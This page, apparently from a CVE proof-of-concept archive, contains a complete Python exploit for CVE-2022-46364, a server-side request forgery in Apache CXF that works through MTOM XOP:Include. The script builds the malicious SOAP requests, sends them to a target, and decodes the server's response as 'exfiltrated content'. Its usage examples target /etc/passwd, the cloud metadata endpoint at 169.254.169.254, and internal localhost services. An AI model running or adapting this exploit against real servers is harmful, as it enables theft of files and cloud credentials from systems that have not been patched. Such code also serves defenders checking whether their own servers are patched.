5465 Total CVEs
26 Years
GitHub
README.md
Rendering markdown...
POC / CVE-2022-46364.py PY
#!/usr/bin/env python3
"""
CVE-2022-46364 Professional Exploit
====================================
Apache CXF SSRF via MTOM XOP:Include (CVSS 9.8 | CWE-918)

Affected: Apache CXF < 3.5.5 / < 3.4.10
Author: kasemsh
"""

import argparse
import base64
import re
import sys
import urllib.error
import urllib.request
from typing import Tuple, Optional


class Colors:
    RED = '\033[91m'
    GREEN = '\033[92m'
    YELLOW = '\033[93m'
    BLUE = '\033[94m'
    MAGENTA = '\033[95m'
    CYAN = '\033[96m'
    BOLD = '\033[1m'
    END = '\033[0m'


class CXFExploit:
    BOUNDARY = "----=_Part_1"
    TIMEOUT = 10

    def __init__(self, target: str, ssrf_url: str, domain: str, plain_soap: bool = False):
        self.target = target
        self.ssrf_url = ssrf_url
        self.domain = domain
        self.plain_soap = plain_soap

    def build_mtom_payload(self) -> Tuple[bytes, str]:
        """Construct MTOM multipart SOAP request with XOP:Include"""
        soap_envelope = f"""<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:dev="http://{self.domain}/">
   <soapenv:Header/>
   <soapenv:Body>
      <dev:submitReport>
         <arg0>
            <employeeName><xop:Include xmlns:xop="http://www.w3.org/2004/08/xop/include" href="{self.ssrf_url}"/></employeeName>
            <department>IT</department>
            <content>test</content>
            <confidential>false</confidential>
         </arg0>
      </dev:submitReport>
   </soapenv:Body>
</soapenv:Envelope>"""

        body = (
            f"--{self.BOUNDARY}\r\n"
            f'Content-Type: application/xop+xml; charset=UTF-8; type="text/xml"\r\n'
            f'Content-Transfer-Encoding: 8bit\r\n'
            f'Content-ID: <[email protected]>\r\n'
            f"\r\n"
            f"{soap_envelope}\r\n"
            f"--{self.BOUNDARY}--\r\n"
        ).encode("utf-8")

        content_type = (
            f'multipart/related; type="application/xop+xml"; '
            f'boundary="{self.BOUNDARY}"; '
            f'start="<[email protected]>"; '
            f'start-info="text/xml"'
        )

        return body, content_type

    def build_plain_soap_payload(self) -> Tuple[bytes, str]:
        """Construct plain SOAP request with XOP:Include"""
        soap_envelope = f"""<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:dev="http://{self.domain}/">
   <soapenv:Header/>
   <soapenv:Body>
      <dev:submitReport>
         <arg0>
            <employeeName><xop:Include xmlns:xop="http://www.w3.org/2004/08/xop/include" href="{self.ssrf_url}"/></employeeName>
            <department>IT</department>
            <content>test</content>
            <confidential>false</confidential>
         </arg0>
      </dev:submitReport>
   </soapenv:Body>
</soapenv:Envelope>"""
        return soap_envelope.encode("utf-8"), "text/xml; charset=UTF-8"

    def extract_response(self, response_xml: str) -> Tuple[Optional[str], Optional[str]]:
        """Extract and decode Base64 content from SOAP response"""
        # Pattern 1: Extract from "Report received from BASE64"
        match = re.search(r'Report received from ([A-Za-z0-9+/=\n\r]+)', response_xml, re.DOTALL)
        if match:
            b64_content = match.group(1).strip()
            # Clean up any whitespace/newlines in base64
            b64_content = re.sub(r'\s+', '', b64_content)
            try:
                decoded = base64.b64decode(b64_content).decode("utf-8", errors="replace")
                return decoded, b64_content
            except Exception as e:
                pass
        
        # Pattern 2: <return>BASE64</return>
        match = re.search(r'<return>([A-Za-z0-9+/=\s]+)</return>', response_xml, re.DOTALL)
        if match:
            b64_content = match.group(1).strip()
            b64_content = re.sub(r'\s+', '', b64_content)
            try:
                decoded = base64.b64decode(b64_content).decode("utf-8", errors="replace")
                return decoded, b64_content
            except Exception:
                pass
        
        # Pattern 3: <employeeName>BASE64</employeeName>
        match = re.search(r'<employeeName>([A-Za-z0-9+/=\s]+)</employeeName>', response_xml, re.DOTALL)
        if match:
            b64_content = match.group(1).strip()
            b64_content = re.sub(r'\s+', '', b64_content)
            try:
                decoded = base64.b64decode(b64_content).decode("utf-8", errors="replace")
                return decoded, b64_content
            except Exception:
                pass
        
        return None, None

    def send_request(self) -> Tuple[str, int]:
        """Send SOAP request and return response"""
        body, content_type = self.build_plain_soap_payload() if self.plain_soap else self.build_mtom_payload()

        req = urllib.request.Request(
            url=self.target,
            data=body,
            method="POST",
            headers={
                "Content-Type": content_type,
                "SOAPAction": '""',
                "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36",
            },
        )

        try:
            with urllib.request.urlopen(req, timeout=self.TIMEOUT) as resp:
                return resp.read().decode("utf-8", errors="replace"), resp.status
        except urllib.error.HTTPError as exc:
            return exc.read().decode("utf-8", errors="replace"), exc.code

    def exploit(self):
        """Execute SSRF exploit"""
        print(f"{Colors.CYAN}{Colors.BOLD}")
        print("=" * 70)
        print("  CVE-2022-46364 | Apache CXF SSRF via MTOM XOP:Include")
        print("  CVSS 9.8 CRITICAL | CWE-918")
        print("=" * 70)
        print(f"{Colors.END}")

        print(f"{Colors.BOLD}[CONFIG]{Colors.END}")
        print(f"  Target:   {Colors.YELLOW}{self.target}{Colors.END}")
        print(f"  SSRF URL: {Colors.YELLOW}{self.ssrf_url}{Colors.END}")
        print(f"  Domain:   {Colors.YELLOW}{self.domain}{Colors.END}")
        print(f"  Method:   {Colors.YELLOW}{'Plain SOAP' if self.plain_soap else 'MTOM'}{Colors.END}")
        print()

        print(f"{Colors.BOLD}[*]{Colors.END} Sending exploit payload...")
        try:
            response, status = self.send_request()
        except Exception as e:
            print(f"{Colors.RED}[!] Request failed: {e}{Colors.END}")
            sys.exit(1)

        print(f"{Colors.GREEN}[+]{Colors.END} Server responded: HTTP {status}")
        print()

        # Show raw response snippet for debugging
        print(f"{Colors.BOLD}[RAW RESPONSE SNIPPET]{Colors.END}")
        print(f"{Colors.BLUE}{response[:500]}{Colors.END}")
        print()

        decoded, b64_raw = self.extract_response(response)

        if decoded:
            if b64_raw:
                print(f"{Colors.BOLD}[BASE64 EXTRACTED]{Colors.END}")
                print(f"{Colors.MAGENTA}{b64_raw[:200]}{'...' if len(b64_raw) > 200 else ''}{Colors.END}")
                print()

            print(f"{Colors.BOLD}{Colors.GREEN}[EXFILTRATED CONTENT]{Colors.END}")
            print("=" * 70)
            print(decoded)
            print("=" * 70)
            print()

            print(f"{Colors.GREEN}{Colors.BOLD}[✓] EXPLOIT SUCCESSFUL{Colors.END}")
            print(f"{Colors.CYAN}Server fetched internal resource and returned contents.{Colors.END}")
        else:
            print(f"{Colors.RED}[!] Could not extract/decode Base64 content{Colors.END}")
            print(f"{Colors.YELLOW}[FULL RAW RESPONSE]{Colors.END}")
            print("=" * 70)
            print(response)
            print("=" * 70)


def main():
    banner = f"""{Colors.BOLD}{Colors.CYAN}
 ██████╗██╗   ██╗███████╗    ██████╗  ██████╗ ██████╗ ██████╗      ██╗  ██╗ ██████╗ ██████╗  ██████╗ ██╗  ██╗
██╔════╝██║   ██║██╔════╝    ╚════██╗██╔═████╗╚════██╗╚════██╗     ██║  ██║██╔════╝ ╚════██╗██╔════╝ ██║  ██║
██║     ██║   ██║█████╗█████╗ █████╔╝██║██╔██║ █████╔╝ █████╔╝     ███████║███████╗  █████╔╝███████╗ ███████║
██║     ╚██╗ ██╔╝██╔══╝╚════╝██╔═══╝ ████╔╝██║██╔═══╝  ╚═══██╗     ╚════██║██╔═══██╗██╔═══╝ ██╔═══██╗╚════██║
╚██████╗ ╚████╔╝ ███████╗    ███████╗╚██████╔╝███████╗██████╔╝          ██║╚██████╔╝███████╗╚██████╔╝     ██║
 ╚═════╝  ╚═══╝  ╚══════╝    ╚══════╝ ╚═════╝ ╚══════╝╚═════╝           ╚═╝ ╚═════╝ ╚══════╝ ╚═════╝      ╚═╝
{Colors.END}"""
    print(banner)

    parser = argparse.ArgumentParser(
        description="CVE-2022-46364 Apache CXF SSRF Exploit",
        formatter_class=argparse.RawDescriptionHelpFormatter,
        epilog=f"""{Colors.BOLD}Examples:{Colors.END}
  python3 exploit.py -t http://target.com:8080/employeeservice -s file:///etc/passwd -d target.com
  python3 exploit.py -t http://target.com/soap -s http://169.254.169.254/latest/meta-data/ -d target.com
  python3 exploit.py -t http://victim/api -s http://127.0.0.1:9999/secret --plain-soap
        """,
    )
    parser.add_argument("-t", "--target", required=True, help="Vulnerable CXF SOAP endpoint URL")
    parser.add_argument("-s", "--ssrf-url", required=True, help="Internal URL to exfiltrate")
    parser.add_argument("-d", "--domain", default="localhost", help="Target domain (default: localhost)")
    parser.add_argument("--plain-soap", action="store_true", help="Use plain SOAP instead of MTOM")

    args = parser.parse_args()

    exploit = CXFExploit(
        target=args.target,
        ssrf_url=args.ssrf_url,
        domain=args.domain,
        plain_soap=args.plain_soap
    )
    exploit.exploit()


if __name__ == "__main__":
    main()